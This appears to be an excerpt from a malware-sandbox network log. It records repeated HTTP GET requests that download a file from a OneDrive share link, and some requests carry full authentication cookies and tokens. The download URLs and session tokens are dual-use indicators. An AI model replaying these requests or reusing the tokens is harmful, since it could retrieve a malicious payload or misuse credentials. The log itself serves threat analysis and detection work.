Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODIwLCJuYmYiOjE3MjAxMTcwMjAsImdpdmVuX25hbWUiOiI0NiIsImZhbWlseV9uYW1lIjoiV2FscnVzIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYzk5NzY4YzNlNWQ0NDM1MDIzNzQ1NmJlZGMwNzgxOTkiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAyMH0.Go8I7kaSm-LjGoZxHBst-Vv806wD-exss32kpvBA6myt0Oe1ovUb2E-bf_RQYDBlyF86DH3WDsgC8KiTOB1AC-RQms4Oj-UKa_iZ4HCB7AJm-gLvpwrQhQZIqFcfaQmtmPrizPZYN2bA7E4nSnsuc8nhRRCzz6ocLDGICZXu3hyLFHQjIH0Wg4p-2wuzIRuzvXTYEBdkiByszD0jbjLhEK_PonOco8x_1jdarRyChXwHOOEiJ-NyALfYnhoNgJ_mezYGZ664Jz7ENz-VTtx0HtrsfZcO606zn5h387EMdnkOJF8K7VGkaCmoAghZwGtIatK_wpooRGNYM8_Ovts0PQ; E=P:bQhZf1Wc3Ig=:WxA1CpRNAoWt6PylcnORmoGz6bfN5zbCzrUyPG5VX6I=:F; xid=b5655327-5b0d-4f9e-a871-84be3db40f72&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODI0LCJuYmYiOjE3MjAxMTcwMjQsImdpdmVuX25hbWUiOiI3NSIsImZhbWlseV9uYW1lIjoiV29tYmF0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiODg0MWVhZWRmZjE3NTllMjdjMGI1Njk2OWUxNjYyNzIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAyNH0.N2kopIzuU0B_b8trjLuf-llL0MVzHIrrbCVKxnZsPQwJnH8LsqMwf4ggIExL2ZY0SZvjdSt4iP_YWimFazpp607SREN2_Ncz9XyLQBppNf_2oik_uu0Od5GDU4Fm7lQaXTWRtQ9t8OtbTcSB7ENFDb1dRi5iknhB1fOrr_Y67rGZMAXDAKQ98qlXC2ZsnR6iK1xNJxsg9R9qG0QLxReN5B8H2ymE-G2ow-4x43-9KoMt86om1hvGFvoTsRpo9DRkZp_4nBysVlgZ8caLT8e-OPJcbPfGXB0FOaS9Yxqc9FZmsA7BKStbtEEjdMN7Z8-bphNZbv7uZtecm--WTW8Veg; E=P:QaeSgVWc3Ig=:0iy5UFCThmNP6anX8H1nts5Mx+vCIiQ4u21c/FRSlWQ=:F; xid=80a1e136-a4c4-4104-bffa-cbbe71a7c7cb&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODI3LCJuYmYiOjE3MjAxMTcwMjcsImdpdmVuX25hbWUiOiIyMCIsImZhbWlseV9uYW1lIjoiU3RpbmdyYXkiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiI3NjFiODBlNzRlMjEzMjA3OTIxMDVhMGVlZDVkZjJmMyIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDI3fQ.bU3n6qi-R0etF7LvfzjEJ1DG1aaiZNKpig-Pxk5Xmko8SqLJ_pAjCn6rWGDsWjWNoUGAjEuQlPGbBN-Gnua_X1IsnJufamdvD_V4UjajoGAvB6fF3fsf7V1V5EGSYrW7QDGih0BWxQaQwkivwrNDbp0oJssWacDuEIsR24qnzr9sLkmOMxADBziKP3xlUNOmTIblLWl8x64KEyK9QTJXXT5TaBJhiNNH4_sPRRIGeUKsuWg3hFjp_IDdlcbZz4fQgecWsStbIz4v71J2QktoNluq7h2MLs0cZWlrdXhWU0A5kRFhmdgVC4ncO3sihZQOLY97wz7MVeCcDEzk3snaHw; E=P:+Hucg1Wc3Ig=:d8LSr5qHWlK955v/X+Lw1iRV4LKqvDj3fOb77XpKwyE=:F; xid=84406759-3e5b-4f4a-b1bc-33d54cdf66fb&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODMxLCJuYmYiOjE3MjAxMTcwMzEsImdpdmVuX25hbWUiOiI2MyIsImZhbWlseV9uYW1lIjoiQW50ZWxvcGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiIyM2M1MmFhNDU3MzhmNTAxY2M5MTllNzE2NzQ4YjA5OSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDMxfQ.FyTRWZLMLyTpCfYC_v9DTtqpwY4S2i1iDdp6s6so_QLD2WdT0rZh5sV7b7Qz90bhwS-AUP-qtkQGCiSQqWafdTTynX4kk5ZYvXWFH6Kt-GIYEmfnf6cZ6DKwHdZPNOFmNktzDT9cp6KKFGQ3iYVF8N1YPdYlVdT_70uJ6DYInu4DbnyJZvd4e2J7GlM7asdqZV5uxYO0sQUfgEXWzHm34o9_KIZtyUYtwGw6X2fOJzdJEa9G94gxTbklF5d5XkiCsFW4hGNAV177FI0-zd1AUyHpF4W3MPrJ4p1dL0YPWywmrikZFAZQRno5RhqcVR6l6OtrWlTKedfT6IyWegk5Bw; E=P:roXLhVWc3Ig=:8wft4sWjHgjFq3DbUV/y/lpA88X/zmvlY7dEfQ0lTCs=:F; xid=ae51855e-bdaf-4bc5-8e61-861407d74872&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODM0LCJuYmYiOjE3MjAxMTcwMzQsImdpdmVuX25hbWUiOiIzOCIsImZhbWlseV9uYW1lIjoiSG9ybmV0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZDA0OGFlOWE3MDE0OGE1ZTFhNWM5NWRkNDkyYWJmZDciLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAzNH0.exrV4wiZY5QsIlqWjhX2n3Cg_TfUyScXQEWmtNDhEmz9b1Cq1Tn_6t7G4_0EFp4Jdesj5qgaJfDQ8cm7Tylxlya2PFfIusvAa1VcHnjgLE8MM0x3JB0-PkAQtqFNa7rU64b8WOfg2i1Fea_q4g2bgN8KrPSMCK0unje3pmz1cTMnY3Bb5nWfgLRPFgNmH3nXj05DYXfJHSYPK6ohou9-_YaSacqb8af-8eGLjUGUsjXFg6KLaYENhd-kFfHzduXvsQ0MIMEjYmGBBFeU-AkTT2atsdyb-JaQX0hMI3Q8wzKK6d-Zrj4jeL1GKpL0jKFPktwdb3RTsDUTrh256Wzcqw; E=P:b4DXh1Wc3Ig=:FVgY3TRQ0hs7q5IxSSJ0s7vOEi020oooNEuO2f8ij4I=:F; xid=5ba26fda-fae0-48ec-b456-26ffa7807734&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODM3LCJuYmYiOjE3MjAxMTcwMzcsImdpdmVuX25hbWUiOiI2MSIsImZhbWlseV9uYW1lIjoiVmlwZXIiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiI3NDU5YWE0Nzg3MTJhYTI3ODdmNzZlYTgzOTQyZjU5YiIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDM3fQ.ZTYm8DgHWdv5gq-YAziC5qNudlCChTOWU5Gryg4Um4CMDi2yHVzBnu6wf-Qt1nNdg5IpzBoVRU2B2THSGO_JKP6pEjDugktFu0yEThHi0q9rb1-6NH78ideuNc4qJ80gxrTWV4UnV-4-GYpYtGOVArmT5MAytPLLFc50cN1OiayDZnbcfAIpAsbVFXH6cvqQBkatZYhBsKcKNbWYOYg6aDWnH7Lj-Vag7kCHQt-tTklD2gdVeQ6Eu27-1vO7tvMIQbv9ItE2IhkvG9_UnC3A73lgT6SHi0Que70sRXAA28Hv7xL_OO0i7Umgg36gsP0DwskU__iGREkyDQDsqrPifw; E=P:TjTUiVWc3Ig=:Oed5d7sTq40YXp9jfikvYeiXJTnFFDdpVxWvQo6a/MU=:F; xid=ac1ba27e-562c-4750-a5e7-59d92a3f0a6d&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODQyLCJuYmYiOjE3MjAxMTcwNDIsImdpdmVuX25hbWUiOiIzNiIsImZhbWlseV9uYW1lIjoiV2FzcCIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjU1YmM3N2QxODAxNGI4OTZhYWRjMTVkYTg5YjFhNTc2IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNDJ9.L7-toSJZI05V5iJsMTf-QgNTMOVxzKRom_LXKzotIarHLj78V_Xla6dyJ14TkHOJx4d8sFTzyrJxEPC1R96ujrU4bbpwFSZAthks7G27Q2RRk7gmWpSr_dlgidCRcMBchY2k5H2wmAb6KVSnOOq522akNEcZ2w_IHPNQM9BuJ7tnabVwBZww-VYKL3f8j8xQdWonpM5oP4JpmqBisSZOlDZlZlzBoQwkIYnJ8_D4NaP3i2ZezqL_w0Fu1I6lmof3EG7SmIw9aCmMOkXBpoyX1OHvJ0pUhlteHnlI1dNGCWmQvE-UmjWUvZBMbRPtZDyZ5n_u91PqP6TgsY4G9Eew7w; E=P:+AvEjFWc3Ig=:X6j04TApGS2UvXO0jB19njyVNPMrJ3f9DWMJMjvXtAI=:F; xid=0eb8542f-34ec-4f64-8065-fa42bf60747b&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODQ3LCJuYmYiOjE3MjAxMTcwNDcsImdpdmVuX25hbWUiOiI5OCIsImZhbWlseV9uYW1lIjoiRG90dGVyZWwiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJlOGVjNWVkODM5MDJjYmJhNjNkZGQ2NTU1OWM1NWQ2NSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDQ3fQ.Ol9LPqug3i7fEWvJLbwtzcKWM9K-c7SopSeodx5y_bZEze4E_GWoLNnug_JdKCRIdFaPDOS3Bu7sa0NGHmxIHvxFnpie-pAvnsG9S42a7cloF4BN_UNLR0fTHp6Wx40VFgGo5R4Y79nX755KITTY-5OUzRzjTrL8KygOee21CipK6ETveTmIZrCkfJRelzOOq9wXwygHdvyph4VryyB-3GGhUn69dcwyDHGLizwJm7oSXKJhBkHlfc8Ytfpz_50XRkP1kkTXRx6w5I36FDH22DaJBuCJNwQ4JEv9UibSkkpgzuB22NBuTtIjndbISvc8HeYlsEPZdcp5ws2nQf8X-A; E=P:Sk9Xj1Wc3Ig=:qaWJmxM4RRdwfHaBXLhHc1M22IgjsLZ1gf8ZoFpQ5UM=:F; xid=3c6214a5-5705-4280-b485-6d95033ae400&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODUwLCJuYmYiOjE3MjAxMTcwNTAsImdpdmVuX25hbWUiOiIzOSIsImZhbWlseV9uYW1lIjoiQ2hhbW9pcyIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImY2NjQ2ZmJlYjk0MDEyMThiNWE3NzI1YTQzMjhiMTYzIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNTB9.NmPaNti8cmr8YW6n6CpY7216i6wZb7Fs1nAzgWdcx0EAZ2yQ4eBl4WvCseTEOdJYtC3CVsESenmGOl4Pt6PjPEEkBV8JepyOw__bYESbUpTBPSAFs0x9gwWh_-Vvpuzv7myQOzSDAjHlRwk9RiNkng3DMQpWox-CQkRnvl47knTToD7G8U9t3m5ucPbFslFXAJcRtRgdq2Uf85cDxxjkygA_67yA5p50xhLtxFkLx4t0GqzOUZE-Cigb3xSXZ5CxIqo53TSxyX2MCgMLGBTRSmEE_6Rmb1CHWeTsJ04w4V-rqE-AZACk47xYNrU5Q6g7Y_1CXip_jHZYoDpQ46xvSA; E=P:QIhokVWc3Ig=:POhhrxrWpLP7BrOy/KAqpCWvrs+n9/GQuTGY5p1k9Ko=:F; xid=f6ca8c83-8572-45f1-80f5-28611e9c5d3b&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.msConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODU0LCJuYmYiOjE3MjAxMTcwNTQsImdpdmVuX25hbWUiOiIxMSIsImZhbWlseV9uYW1lIjoiQnV0dGVyZmx5IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZGY5MmQ5YjNiOTY5ZmYyNTlhZmU4ZGRmMDE4NTg4NTkiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA1NH0.fNTQUeFf6_Cx2ypkx3pXVlw5iQMliR4KeBJwNEEKgUlstkBypNdZRMJ7qLHSCElIGHCfnA6opLKKRlAxJA_RcokKOdWZFHYflvythveKxeq7gB8LIp2pat2P3faDsygOwreTqz6GtgiJaXX2Ku1U_0lXeMTn-813rMTiHaVKJYY4DsPMimjMclH20DCyK-Sdpqr-X-TkGhANkRRY04VznMzSDh7UReH4mNsbSGMCNpyDR7TQk_g1ELwfUKZXOH2IvqyEhM5e2qy_ec0h4phNSQ-mRgdUVYscit08XYSLuTaH6RN1LhfZeuogWYyEGdEDuP8OCqpcr0J_S3QYW1CbxQ; E=P:Okufk1Wc3Ig=:9Cb8kcbqfAzDzAAX9PaGXYj9Aoh6VdVrwOmSXR00ucQ=:F; xid=11ed3aaa-742f-4968-b4af-032424f9f684&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
